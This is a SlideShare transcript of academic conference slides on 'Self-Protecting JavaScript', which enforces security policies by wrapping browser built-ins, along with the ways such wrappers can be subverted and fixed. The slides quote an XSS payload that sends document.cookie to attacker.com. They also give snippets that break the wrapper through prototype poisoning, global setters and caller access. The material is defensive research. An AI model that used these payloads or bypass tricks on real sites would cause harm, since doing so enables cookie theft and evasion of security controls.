SlideShare a Scribd company logo
1 of 36
Nordsec 2010 
Espoo, Finland 
October 29, 2010 
Safe Wrappers and Sane Policies 
for Self Protecting JavaScript* 
Jonas Magazinius, Phu H. Phung, and David Sands 
Chalmers, Sweden 
* This work has been accepted and presented at OWASP AppSec Research ’10
The problems 
• Injected (untrusted) JavaScript code (e.g.XSS) 
– A malicious user (the attacker) injects potentially 
dangerous JavaScript code into a webpage via 
data entry in the webpage, e.g.: 
• blog 
• forum 
• web-mail 
• Third party scripts (e.g. advertisement, 
mashup web applications) 
• Buggy code
XSS attack example 
<B C=">" 
onmouseover="alert(document.location='http://attacker.com/cookies?'+document.cookie)" 
X="<B "> Move your mouse here </B> 
This was a real attack exploited to the 
open source forum phpBB 2.0.18
Difficult issues 
• Filter mechanism problem: 
– Parser mismatch: filter does not always parse in 
the same way as browser 
• Dynamic scripts problematic, e.g. 
document.write, eval, ... 
<script> 
document.write(‘<scr’); 
document.write(‘ipt> malic’); 
var i= 1; 
document.write(‘ious code; </sc’); 
document.write(‘ript>’); 
</script> 
<script> malicious code; </script>
The landscape of JavaScript security 
mechanisms 
• Server filtering, but parser mismatch problem 
• Language subset, sandboxing 
• Behavioral sandboxing 
– Code transformation 
– No code transformation 
• Browser modification 
• No browser modification
Our approach: 
Self-Protecting JavaScript 
• “inline” the policy into the JavaScript code so 
that the code becomes self-protecting 
• The policy enforcement is implemented in a 
lightweight manner 
– does not require browser modification 
– non invasive: the original code (and any dynamically 
generated code) is not syntactically modified, no code 
parser or modification 
– its implementation is a small and simple aspect-oriented 
programming –style library
The policies 
• The enforcement mechanism is security 
reference monitor-based 
• Ensure safety property of program execution 
• Examples: 
• Only allow URI in a white-list when sending by 
XMLHttpRequest 
• Do not allow send after cookie read 
• Limit the number of alerts to 2
A policy example 
var alertPolicy = function(args, proceed) { 
if (alertCount < 2){ 
alertCount++; 
return proceed(); 
}else policylog(‘alert is denied'); 
}; 
wrap(window, 'alert‘, alertPolicy);
Enforcement method 
JavaScript execution environment 
(e.g. browsers) 
Native implementations 
alert 
implementation 
code pointers User 
functions 
alert(..) window.alert 
unique 
alert 
wrapper 
(+policy code) 
Attacker code 
alert = 
function(){...}; 
alert 
wrapper 
Phu H. Phung, David Sands, Andrey Chudnov – cse.chalmers.se Dagstuhl 09141, 2 April 2009
Deployment 
• Structure of a webpage containing policy 
enforcement code 
• Policies are located in the first script tag 
– Policy enforcement is applied for the rest of code 
The enforcement code can be deployed 
anywhere between client and server: server 
side, proxy or plug-in 
Dagstuhl 09141, 2 April 2009
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Subversion 
Subversion 
Subversion 
Aliasing 
Aliasing 
Declarativity
Subversion 
Browser environment 
WRAPPER 
Untrusted code
Function and object subversion 
Object 
• prototype • valueOf( ) 
Function 
• constructor 
• prototype 
• apply( ) 
• call( ) 
{function instance} 
• constructor 
Modifying inherited 
function subverts expected 
behaviour
Function and Object Subversion 
Wrapper code: 
original.apply(this,args) 
Fixing the wrapper: 
• original.apply=apply 
• Rewrite wrapper to 
remove dependency 
Subversion: 
var org; 
Function.prototype.apply = 
Wrapper relies on function(){ org = this} 
inherited function 
Attacker can redefine this 
function and steal original
Global setter subversion 
• Setters: 
– When this property is set, execute this function 
• obj.defineSetter(‘abc’,function(x){ alert(x) }) 
• obj.abc = ‘123’; // alerts 123 
• Global setters 
– Is inherited by all objects 
– Is executed even upon instantiation of new 
objects(!)
Global setter subversion 
function x() { 
… 
var x = {secret: 1}; 
… 
} 
Function closure: Global setter for “secret”: 
function setSecret(sec) { 
// We have your secret! 
alert(sec); 
}
Global Setter subversion 
Wrapper code 
policy({args: arguments, 
proceed: original}) 
Fixing the wrapper: 
• No temporary objects? 
• Use “safe” objects… 
• Change JavaScript: Don’t 
execute setters upon 
instantiation 
Subversion 
var org; 
Object.prototype. 
__defineSetter__(‘proceed’, 
Wrapper uses temporary object function(o) { org = o }) 
to pass built-in 
Attacker defines a 
global setter for the 
proceed property and 
steal the built-in
Caller subversion 
• The caller property of a function refers back to 
the function that called it – the previous function 
in the call stack 
– If function A executes function B, then B.caller refer 
to A 
– B can now access and modify part of A’s private 
information, such as the arguments it was passed 
• Some built-ins will call external user-defined 
functions by design 
• Others will do it implicitly 
• The wrapper can also trigger implicit calls
Caller subversion (built-ins) 
• Example of call by design: 
[1,2,3].map(function(){}) 
• Takes function as an argument 
• Can not be reliably wrapped – not a problem 
• Example of implicit call 
obj.toString = function x(){return alert= x.caller} 
alert(obj) 
• Alert will execute the function which will restore alert 
• Need to know an upper bound on potential implicit calls 
• Remove any user defined functions on affected properties
Caller subversion (wrapper) 
• We can prevent access by using a trap 
– Recursive functions overwrite the caller property 
with itself – impossible to reach below in the call 
stack 
– By calling the trap whenever we do a sensitive 
access we can protect the integrity of the wrapper 
function trap(f, b) { 
if(b) f() 
else trap(f, true) 
}
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Subversion 
Subversion 
Subversion 
Aliasing 
Aliasing 
Declarativity
Static aliases 
window.alert 
alert 
Window.prototype.alert 
window.window.alert 
window.__proto__.alert constructor.prototype.alert
Inheritance graph 
Object.prototype.toString 
Window.prototype.toString 
window.toString 
Function.prototype.toString 
alert.toString 
The constructor 
property points 
back to the 
parent object
Dynamic aliases 
alert alert 
wrapper 
alert
Dynamic aliases protection 
• Access to other windows is easy to prevent 
• Two ways of accessing content in an iframe 
– contentWindow property 
• Access can be controlled by policy 
– window.frames array 
• Access can be controlled to each index of the array, but not 
the array as a whole 
• How many indices to control? - “Enough.” 
– The problem is that we don’t know this when we load the page 
– Where enough is as many as could be included in the page 
– Dynamically check number of indices after each operation that 
might result in the creation of an iframe
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Aliasing 
Aliasing 
Declarativity
Function and Object Subversion for 
Policies 
Policy code 
var whitelist = {"good.com":true } 
if(whitelist[address.substr(...))]) 
Policy expects 
certain behavior 
Fixing subversion 
• hasOwnProperty() 
• Use “safe” objects… 
Subversion 
Object.prototype[‘evil.com’]= true 
String.prototype.substr = 
function() { return ‘good.com’; } 
The policy writer should not have 
to remember this… 
Attacker can easily 
change the expected 
behavior
“Safe” objects 
• safe() function 
– Creates a blank object which does not inherit 
from the prototype-chain 
• {__proto__: null} 
– Recursively copies all fields from the input object 
to the newly created copy 
– Sometimes inheritance is required 
• Restore methods from safe copies
Breaking and fixing the library 
WRAPPER POLICIES 
Subversion 
Declarativity
Non-declarative vs. declarative policies 
Policy code 
if (whitelist[address]) 
img.src = address; 
Fixing problem 
Policy declare which types it 
expects in a type language and 
monitor enforces it 
Attack 
x = {toString: function() { 
this.toString= 
function()’bad.com’; 
return ‘good.com’; 
} 
} 
Policy code expect 
address to be a string 
Attacker can pass a statefull 
object that pretends to be a 
good string, but then 
changes into a bad string
WRAPPER 
Declarative policies 
Policy 
Copy Combine 
Built-in 
x: ‘abc’ 
y: {…} 
z: 1 
x: ‘string’ 
y: ‘number’ 
x: ‘abc’ 
y: 0 
x: ‘abc’ 
y: 123 
x: ‘abc’ 
y: 123 
z: 1 
Copy values and 
coerce to the type 
specified by the 
policy 
Policy can inspect and 
modify values 
The output of the 
policy is merged with 
the original input
Breaking and fixing the library 
WRAPPER POLICIES 
Declarativity
Summary 
• Our approach is to control and modify the behaviour 
of JavaScript by monitoring the code to make it self-protecting 
– No browser modifications 
– Non-invasive 
• No rewriting of the untrusted code 
• Solve the problem of dynamic scripts 
• Avoiding the need for extensive runtime code transformation 
• Possible vulnerabilities of the library are addressed and 
fixed 
• Typing for arguments to prevent malicious parameters 
Dagstuhl 09141, 2 April 2009
Further work 
• Case studies for particular web applications 
• Fully develop the framework, including 
treating mashups, policies that span multiple 
pages 
• Authoring policies: 
– Not easy for the programmer to ensure that all 
objects are safe 
• Strong motivation for defining a policy language for 
authoring policies which are well behaved.
Thank you!
Jonas Magazinius, Phu H. Phung, and David Sands 
Chalmers, Sweden 
Safe Wrappers and Sane Policies 
for Self Protecting JavaScript 
http://www.cse.chalmers.se/~phung/projects/jss

More Related Content

What's hot

Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Daniel Bohannon
 
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...DynamicInfraDays
 
Multithreading and Parallelism on iOS [MobOS 2013]
 Multithreading and Parallelism on iOS [MobOS 2013] Multithreading and Parallelism on iOS [MobOS 2013]
Multithreading and Parallelism on iOS [MobOS 2013]Kuba Břečka
 
Advanced JS Deobfuscation
Advanced JS DeobfuscationAdvanced JS Deobfuscation
Advanced JS DeobfuscationMinded Security
 
The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!Luca Carettoni
 
A Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreA Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreCTruncer
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?snyff
 
Metasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner ClassMetasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner ClassGeorgia Weidman
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Ivan Piskunov
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Aaron Hnatiw
 
Workshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersNikhil Mittal
 
AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0CTruncer
 
Bringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirusBringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirusCTruncer
 
Lagergren jvmls-2013-final
Lagergren jvmls-2013-finalLagergren jvmls-2013-final
Lagergren jvmls-2013-finalMarcus Lagergren
 
Сканирование с использованием бэкслэша: подключаем интуицию
Сканирование с использованием бэкслэша: подключаем интуициюСканирование с использованием бэкслэша: подключаем интуицию
Сканирование с использованием бэкслэша: подключаем интуициюPositive Hack Days
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil FrameworkVeilFramework
 
Objective-C Is Not Java
Objective-C Is Not JavaObjective-C Is Not Java
Objective-C Is Not JavaChris Adamson
 
Vert.x v3 - high performance polyglot application toolkit
Vert.x v3 - high performance  polyglot application toolkitVert.x v3 - high performance  polyglot application toolkit
Vert.x v3 - high performance polyglot application toolkitSages
 

What's hot (20)

Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017
 
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...
ContainerDays NYC 2016: "The Secure Introduction Problem: Getting Secrets Int...
 
Multithreading and Parallelism on iOS [MobOS 2013]
 Multithreading and Parallelism on iOS [MobOS 2013] Multithreading and Parallelism on iOS [MobOS 2013]
Multithreading and Parallelism on iOS [MobOS 2013]
 
Advanced JS Deobfuscation
Advanced JS DeobfuscationAdvanced JS Deobfuscation
Advanced JS Deobfuscation
 
The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!The old is new, again. CVE-2011-2461 is back!
The old is new, again. CVE-2011-2461 is back!
 
Pen-Testing with Metasploit
Pen-Testing with MetasploitPen-Testing with Metasploit
Pen-Testing with Metasploit
 
A Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreA Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and More
 
Jwt == insecurity?
Jwt == insecurity?Jwt == insecurity?
Jwt == insecurity?
 
Metasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner ClassMetasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner Class
 
Hacking 101
Hacking 101Hacking 101
Hacking 101
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
 
Workshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
 
AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0
 
Bringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirusBringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirus
 
Lagergren jvmls-2013-final
Lagergren jvmls-2013-finalLagergren jvmls-2013-final
Lagergren jvmls-2013-final
 
Сканирование с использованием бэкслэша: подключаем интуицию
Сканирование с использованием бэкслэша: подключаем интуициюСканирование с использованием бэкслэша: подключаем интуицию
Сканирование с использованием бэкслэша: подключаем интуицию
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil Framework
 
Objective-C Is Not Java
Objective-C Is Not JavaObjective-C Is Not Java
Objective-C Is Not Java
 
Vert.x v3 - high performance polyglot application toolkit
Vert.x v3 - high performance  polyglot application toolkitVert.x v3 - high performance  polyglot application toolkit
Vert.x v3 - high performance polyglot application toolkit
 

Viewers also liked

ECMA5 approach to building JavaScript frameworks with Anzor Bashkhaz
ECMA5 approach to building JavaScript frameworks with Anzor BashkhazECMA5 approach to building JavaScript frameworks with Anzor Bashkhaz
ECMA5 approach to building JavaScript frameworks with Anzor BashkhazFITC
 
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...Phú Phùng
 
Javascript OOP
Javascript OOPJavascript OOP
Javascript OOPMiao Siyu
 
Performance from Aligning Smalltalk & Javascript Classes
Performance from Aligning Smalltalk & Javascript ClassesPerformance from Aligning Smalltalk & Javascript Classes
Performance from Aligning Smalltalk & Javascript ClassesESUG
 
Intro to Ember.js
Intro to Ember.jsIntro to Ember.js
Intro to Ember.jsJay Phelps
 

Viewers also liked (6)

ECMA5 approach to building JavaScript frameworks with Anzor Bashkhaz
ECMA5 approach to building JavaScript frameworks with Anzor BashkhazECMA5 approach to building JavaScript frameworks with Anzor Bashkhaz
ECMA5 approach to building JavaScript frameworks with Anzor Bashkhaz
 
JavaScript Essentials
JavaScript EssentialsJavaScript Essentials
JavaScript Essentials
 
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...
Self-Protecting JavaScript: A Lightweight Approach to Enforcing Security Poli...
 
Javascript OOP
Javascript OOPJavascript OOP
Javascript OOP
 
Performance from Aligning Smalltalk & Javascript Classes
Performance from Aligning Smalltalk & Javascript ClassesPerformance from Aligning Smalltalk & Javascript Classes
Performance from Aligning Smalltalk & Javascript Classes
 
Intro to Ember.js
Intro to Ember.jsIntro to Ember.js
Intro to Ember.js
 

Similar to Safe Wrappers and Sane Policies for Self Protecting JavaScript

Akka london scala_user_group
Akka london scala_user_groupAkka london scala_user_group
Akka london scala_user_groupSkills Matter
 
Architecting for Microservices Part 2
Architecting for Microservices Part 2Architecting for Microservices Part 2
Architecting for Microservices Part 2Elana Krasner
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and ActivatorKevin Webber
 
DjangoCon 2010 Scaling Disqus
DjangoCon 2010 Scaling DisqusDjangoCon 2010 Scaling Disqus
DjangoCon 2010 Scaling Disquszeeg
 
AllDayDevOps 2019 AppSensor
AllDayDevOps 2019 AppSensorAllDayDevOps 2019 AppSensor
AllDayDevOps 2019 AppSensorjtmelton
 
Lions, Tigers and Deers: What building zoos can teach us about securing micro...
Lions, Tigers and Deers: What building zoos can teach us about securing micro...Lions, Tigers and Deers: What building zoos can teach us about securing micro...
Lions, Tigers and Deers: What building zoos can teach us about securing micro...Sysdig
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersPhú Phùng
 
Reactive programming with examples
Reactive programming with examplesReactive programming with examples
Reactive programming with examplesPeter Lawrey
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob HolcombPriyanka Aash
 
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016Building Self-Defending Applications With OWASP AppSensor JavaOne 2016
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016jtmelton
 
How to secure your web applications with NGINX
How to secure your web applications with NGINXHow to secure your web applications with NGINX
How to secure your web applications with NGINXWallarm
 
Web security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersWeb security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersPhú Phùng
 
OSGi Community Event 2010 - Dependencies, dependencies, dependencies
OSGi Community Event 2010 - Dependencies, dependencies, dependenciesOSGi Community Event 2010 - Dependencies, dependencies, dependencies
OSGi Community Event 2010 - Dependencies, dependencies, dependenciesmfrancis
 
Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Yury Chemerkin
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
introduction to node.js
introduction to node.jsintroduction to node.js
introduction to node.jsorkaplan
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
 
Новый InterSystems: open-source, митапы, хакатоны
Новый InterSystems: open-source, митапы, хакатоныНовый InterSystems: open-source, митапы, хакатоны
Новый InterSystems: open-source, митапы, хакатоныTimur Safin
 
JavaScript TDD with Jasmine and Karma
JavaScript TDD with Jasmine and KarmaJavaScript TDD with Jasmine and Karma
JavaScript TDD with Jasmine and KarmaChristopher Bartling
 
2015 09-18-jug summer camp
2015 09-18-jug summer camp2015 09-18-jug summer camp
2015 09-18-jug summer campSebastien Gioria
 

Similar to Safe Wrappers and Sane Policies for Self Protecting JavaScript (20)

Akka london scala_user_group
Akka london scala_user_groupAkka london scala_user_group
Akka london scala_user_group
 
Architecting for Microservices Part 2
Architecting for Microservices Part 2Architecting for Microservices Part 2
Architecting for Microservices Part 2
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and Activator
 
DjangoCon 2010 Scaling Disqus
DjangoCon 2010 Scaling DisqusDjangoCon 2010 Scaling Disqus
DjangoCon 2010 Scaling Disqus
 
AllDayDevOps 2019 AppSensor
AllDayDevOps 2019 AppSensorAllDayDevOps 2019 AppSensor
AllDayDevOps 2019 AppSensor
 
Lions, Tigers and Deers: What building zoos can teach us about securing micro...
Lions, Tigers and Deers: What building zoos can teach us about securing micro...Lions, Tigers and Deers: What building zoos can teach us about securing micro...
Lions, Tigers and Deers: What building zoos can teach us about securing micro...
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsers
 
Reactive programming with examples
Reactive programming with examplesReactive programming with examples
Reactive programming with examples
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016Building Self-Defending Applications With OWASP AppSensor JavaOne 2016
Building Self-Defending Applications With OWASP AppSensor JavaOne 2016
 
How to secure your web applications with NGINX
How to secure your web applications with NGINXHow to secure your web applications with NGINX
How to secure your web applications with NGINX
 
Web security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersWeb security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in Browsers
 
OSGi Community Event 2010 - Dependencies, dependencies, dependencies
OSGi Community Event 2010 - Dependencies, dependencies, dependenciesOSGi Community Event 2010 - Dependencies, dependencies, dependencies
OSGi Community Event 2010 - Dependencies, dependencies, dependencies
 
Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...Zane lackey. security at scale. web application security in a continuous depl...
Zane lackey. security at scale. web application security in a continuous depl...
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
introduction to node.js
introduction to node.jsintroduction to node.js
introduction to node.js
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
 
Новый InterSystems: open-source, митапы, хакатоны
Новый InterSystems: open-source, митапы, хакатоныНовый InterSystems: open-source, митапы, хакатоны
Новый InterSystems: open-source, митапы, хакатоны
 
JavaScript TDD with Jasmine and Karma
JavaScript TDD with Jasmine and KarmaJavaScript TDD with Jasmine and Karma
JavaScript TDD with Jasmine and Karma
 
2015 09-18-jug summer camp
2015 09-18-jug summer camp2015 09-18-jug summer camp
2015 09-18-jug summer camp
 

More from Phú Phùng

Built-in Security Mindfulness for Software Developers
Built-in Security Mindfulness for Software DevelopersBuilt-in Security Mindfulness for Software Developers
Built-in Security Mindfulness for Software DevelopersPhú Phùng
 
Fine-grained policy enforcement for untrusted software
Fine-grained policy enforcement for untrusted softwareFine-grained policy enforcement for untrusted software
Fine-grained policy enforcement for untrusted softwarePhú Phùng
 
Governing Bot-as-a-Service in Sustainability Platforms - Issues and Approaches
Governing Bot-as-a-Service in Sustainability Platforms - Issues and ApproachesGoverning Bot-as-a-Service in Sustainability Platforms - Issues and Approaches
Governing Bot-as-a-Service in Sustainability Platforms - Issues and ApproachesPhú Phùng
 
Lightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptLightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptPhú Phùng
 
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...Phú Phùng
 
Lightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptLightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptPhú Phùng
 
A Two-Tier Sandbox Architecture for Untrusted JavaScript
A Two-Tier Sandbox Architecture for Untrusted JavaScriptA Two-Tier Sandbox Architecture for Untrusted JavaScript
A Two-Tier Sandbox Architecture for Untrusted JavaScriptPhú Phùng
 

More from Phú Phùng (7)

Built-in Security Mindfulness for Software Developers
Built-in Security Mindfulness for Software DevelopersBuilt-in Security Mindfulness for Software Developers
Built-in Security Mindfulness for Software Developers
 
Fine-grained policy enforcement for untrusted software
Fine-grained policy enforcement for untrusted softwareFine-grained policy enforcement for untrusted software
Fine-grained policy enforcement for untrusted software
 
Governing Bot-as-a-Service in Sustainability Platforms - Issues and Approaches
Governing Bot-as-a-Service in Sustainability Platforms - Issues and ApproachesGoverning Bot-as-a-Service in Sustainability Platforms - Issues and Approaches
Governing Bot-as-a-Service in Sustainability Platforms - Issues and Approaches
 
Lightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptLightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScript
 
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...
Security Policy Enforcement for the OSGi Framework using Aspect-Oriented Pr...
 
Lightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScriptLightweight Self-Protecting JavaScript
Lightweight Self-Protecting JavaScript
 
A Two-Tier Sandbox Architecture for Untrusted JavaScript
A Two-Tier Sandbox Architecture for Untrusted JavaScriptA Two-Tier Sandbox Architecture for Untrusted JavaScript
A Two-Tier Sandbox Architecture for Untrusted JavaScript
 

Recently uploaded

Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyFrank van der Linden
 
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfThe Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfkalichargn70th171
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptkotipi9215
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningVitsRangannavar
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVshikhaohhpro
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number SystemsJheuzeDellosa
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...OnePlan Solutions
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
